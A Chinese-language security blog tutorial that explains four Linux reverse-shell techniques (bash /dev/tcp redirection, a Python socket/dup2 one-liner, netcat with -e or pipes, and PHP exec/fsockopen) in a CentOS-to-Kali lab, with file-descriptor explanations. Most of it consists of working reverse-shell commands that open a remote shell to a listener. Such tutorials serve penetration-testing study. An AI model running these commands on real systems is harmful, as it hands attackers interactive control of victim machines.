<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Linux下幾種反彈Shell方法的總結與理解

    VSole2021-12-14 06:09:28

    之前在網上看到很多師傅們總結的linux反彈shell的一些方法,為了更熟練的去運用這些技術,于是自己花精力查了很多資料去理解這些命令的含義,將研究的成果記錄在這里,所謂的反彈shell,指的是我們在自己的機器上開啟監聽,然后在被攻擊者的機器上發送連接請求去連接我們的機器,將被攻擊者的shell反彈到我們的機器上,下面來介紹分析幾種常用的方法。

    實驗環境

    CentOS 6.5:192.168.0.3

    kali2.0:192.168.0.4

    方法1:

    反彈shell命令如下:

    bash -i >& /dev/tcp/ip/port 0>&1
    

    首先,使用nc在kali上監聽端口:

    nc -lvp 7777
    

    然后在CentOS6.5下輸入:

    bash -i >& /dev/tcp/192.168.0.4/7777 0>&1
    

    可以看到shell成功反彈到了kali上面,可以執行命令:

    在解釋這條反彈shell的命令原理之前,首先需要掌握幾個點。

    linux文件描述符:linux shell下有三種標準的文件描述符,分別如下:

    0 - stdin 代表標準輸入,使用<或<<
    1 - stdout 代表標準輸出,使用>或>>
    2 - stderr 代表標準錯誤輸出,使用2>或2>>
    

    還有就是>&這個符號的含義,最好的理解是這樣的:

    當>&后面接文件時,表示將標準輸出和標準錯誤輸出重定向至文件。
    當>&后面接文件描述符時,表示將前面的文件描述符重定向至后面的文件描述符
    

    也有師傅把&這個符號解釋為是取地址符號,學過C語言的小伙伴們都知道&這個符號代表取地址符,在C++中&符號還代表為引用,這樣做是為了區分文件描述符和文件,比如查看一個不存在的文件,要把標準錯誤重定向到標準輸出,如果直接cat notexistfile 2>1的話,則會將1看作是一個文件,將標準錯誤輸出輸出到1這個文件里而不是標準輸出,而&的作用就是為了區分文件和文件描述符:

    理解了上面這些知識,下面來解釋一下這一條反彈shell的命令首先,bash -i代表在本地打開一個bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,>&后面跟上/dev/tcp/ip/port這個文件代表將標準輸出和標準錯誤輸出重定向到這個文件,也就是傳遞到遠程上,如果遠程開啟了對應的端口去監聽,就會接收到這個bash的標準輸出和標準錯誤輸出,這個時候我們在本機CentOS輸入命令,輸出以及錯誤輸出的內容就會被傳遞顯示到遠程。

    在本地輸入設備(鍵盤)輸入命令,在本地看不到輸入的內容,但是鍵盤輸入的命令已經被輸出到了遠程,然后命令的執行結果或者錯誤也會被傳到遠程,查看遠程,可以看到標準輸出和標準錯誤輸出都重定向到了遠程:

    下面在該命令后面加上0>&1,代表將標準輸入重定向到標準輸出,這里的標準輸出已經重定向到了/dev/tcp/ip/port這個文件,也就是遠程,那么標準輸入也就重定向到了遠程,這樣的話就可以直接在遠程輸入了:

    那么,0>&2也是可以的,代表將標準輸入重定向到標準錯誤輸出,而標準錯誤輸出重定向到了/dev/tcp/ip/port這個文件,也就是遠程,那么標準輸入也就重定向到了遠程:

    為了更形象的理解,下面給出了整個過程的數據流向,首先是本地的輸入輸出流向:

    執行bash -i >& /dev/tcp/ip/port后
    

    執行bash -i >& /dev/tcp/ip/port 0>&1或者bash -i >& /dev/tcp/ip/port 0>&2后:
    

    方法2:

    使用python反彈,反彈shell命令如下:

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
    p=subprocess.call(['/bin/bash','-i']);"
    

    首先,使用nc在kali上監聽端口:

    nc -lvp 7777
    

    在CentOS下使用python去反向連接,輸入:

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
    p=subprocess.call(['/bin/bash','-i']);
    

    可以看到kali上成功反彈到了shell,可以執行一些命令:

    在已經深入理解了第一種方法的原理后,下面來解釋一下python反彈shell的原理。

    首先使用socket與遠程建立起連接,接下來使用到了os庫的dup2方法將標準輸入、標準輸出、標準錯誤輸出重定向到遠程,dup2這個方法有兩個參數,分別為文件描述符fd1和fd2,當fd2參數存在時,就關閉fd2,然后將fd1代表的那個文件強行復制給fd2,在這里可以把fd1和fd2看作是C語言里的指針,將fd1賦值給fd2,就相當于將fd2指向于s.fileno(),fileno()返回的是一個文件描述符,在這里也就是建立socket連接返回的文件描述符,經過測試可以看到值為3。

    于是這樣就相當于將標準輸入(0)、標準輸出(1)、標準錯誤輸出(2)重定向到遠程(3),接下來使用os的subprocess在本地開啟一個子進程,傳入參數“-i”使bash以交互模式啟動,標準輸入、標準輸出、標準錯誤輸出又被重定向到了遠程,這樣的話就可以在遠程執行輸入命令了。

    方法3:

    使用nc反彈shell,需要的條件是被反彈shell的機器安裝了nc,CentOS6.5安裝nc方法如下:

    1、下載安裝
    wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
    tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
    cd /usr/local
    mv netcat-0.7.1 netcat
    cd /usr/local/netcat
    ./configure
    make && make install
    2、配置
    vim /etc/profile
    添加以下內容:
    # set netcat path
    export NETCAT_HOME=/usr/local/netcat
    export PATH=$PATH:$NETCAT_HOME/bin
    保存,退出,并使配置生效:
    source /etc/profile
    3、測試
    nc -help成功
    

    之后在kali上使用nc監聽端口:

    nc -lvp 7777
    

    在CentOS上使用nc去反向連接,命令如下:

    nc -e /bin/bash 192.168.0.4 7777
    

    這里的-e后面跟的參數代表的是在創建連接后執行的程序,這里代表在連接到遠程后可以在遠程執行一個本地shell(/bin/bash),也就是反彈一個shell給遠程,可以看到遠程已經成功反彈到了shell,并且可以執行命令。

    注意之前使用nc監聽端口反彈shell時都會有一個警告:Warning: forward host lookup failed for bogon: Unknown host,根據nc幫助文檔的提示加上-n參數就可以不產生這個警告了,-n參數代表在建立連接之前不對主機進行dns解析。

    nc -nlvp 7777
    

    如果nc不支持-e參數的話,可以利用到linux中的管道符,首先在kali上開啟監聽:

    nc -nvlp 6666
    nc -nvlp 7777
    
    

    之后在CentOS上使用nc去反向鏈接:

    nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777
    

    這里通過在kali上監聽兩個端口,然后在使用CentOS進行反向連接的時候使用到了管道符,管道符的作用是把管道符前的輸出作為管道符后的輸入,這樣的話就可以在遠程的6666端口的輸入設備(鍵盤)輸入命令,將命令輸出傳遞至本地的/bin/bash,通過本地shell解釋執行命令后,將命令執行的結果以及錯誤輸入到遠程的7777端口。

    方法4:

    使用php反彈shell,方法如下 。      

    首先最簡單的一個辦法,就是使用php的exec函數執行方法1反彈shell的命令:

    php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
    

    還有一個是之前烏云知識庫上的一個姿勢,使用php的fsockopen去連接遠程:

    php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
    

    這個姿勢看起來有一些難以理解,尤其是還出現了<&這個符號,當然如果把&看著是取地址符或者是引用,那還是可以理解的,為了更方便的理解,我在這將這條命令稍微修改了一下,類似于前面的第二種方法。

    有了之前的基礎,我們知道3代表的是使用fsockopen函數建立socket返回的文件描述符,這里將標準輸入,標準輸出和標準錯誤輸出都重定向到了遠程

    在CentOS上反向連接,輸入:

    php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
    

    注意php反彈shell的這些方法都需要php關閉safe_mode這個選項,才可以使用exec函數。      

    總結

    寫這篇文章加上查閱資料花了一天多的時間,感覺自己現在真正的將這四種方法理解透了,能夠自己去寫一些反彈shell的命令了,所以付出還是值得的,網上還有不少反彈shell的命令,以后自己會不斷的補充,It's the climb!

    shell文件描述符
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    眾所周知,在Linux上運行一個程序,則這個程序必須以一個文件的形式存在,而且必須能夠通過文件系統層次結構并以某種方式訪問到它,這也是execve()的工作機制。這種機制不僅使得我們可以輕松控制Linux系統中運行的內容,而且還可以輕松檢測到安全威脅或攻擊者植入的惡意程序,甚至還可以阻止攻擊者嘗試執行他們的任何工具,比如說不允許未經授權的用戶將可執行文件放在任何地方。
    11和2在Linux中代表什么在Linux系統中0 1 2是一個文件描述符從上表看的出來,我們平時使用的echo?其實也可以寫成echo?2關于2>&1的含義關于輸入/輸出重定向本文就不細說了含義:將標準錯誤輸出重定向到標準輸出符號>&是一個整體,不可分開,分開后就不是上述含義了。
    linux反彈shell的一些方法
    常用反彈shell方法總結
    反彈shell的N種姿勢
    2021-09-26 09:00:48
    在滲透測試的過程中,在拿到webshell以后,如果目標主機是Windows主機,則是通過開3389端口在遠程連接,如果目標主機是linux服務器,一般我們都會選擇反彈shell來進行操作。在這里總結下反彈shell常見的幾種姿勢。
    反彈shell是獲取Linux交互shell的一種方法,其方法背后的原理是什么呢
    在我們寫程序的時候往往都沒有注意到一些系統資源的臨界值,然而這些臨界值在有的時候會把我們害的很慘,比如一個忘掉關閉的文件描述符,比如malloc竟然會返回錯誤,又或者是爆棧,我們該如何解決或者說預防這些問題呢?
    比如目標文件是/bin/bash,將它替換成指定解釋器路徑為#!/proc/self/exe的可執行腳本,在容器中執行/bin/bash時將執行/proc/self/exe,它指向host上的runC文件
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类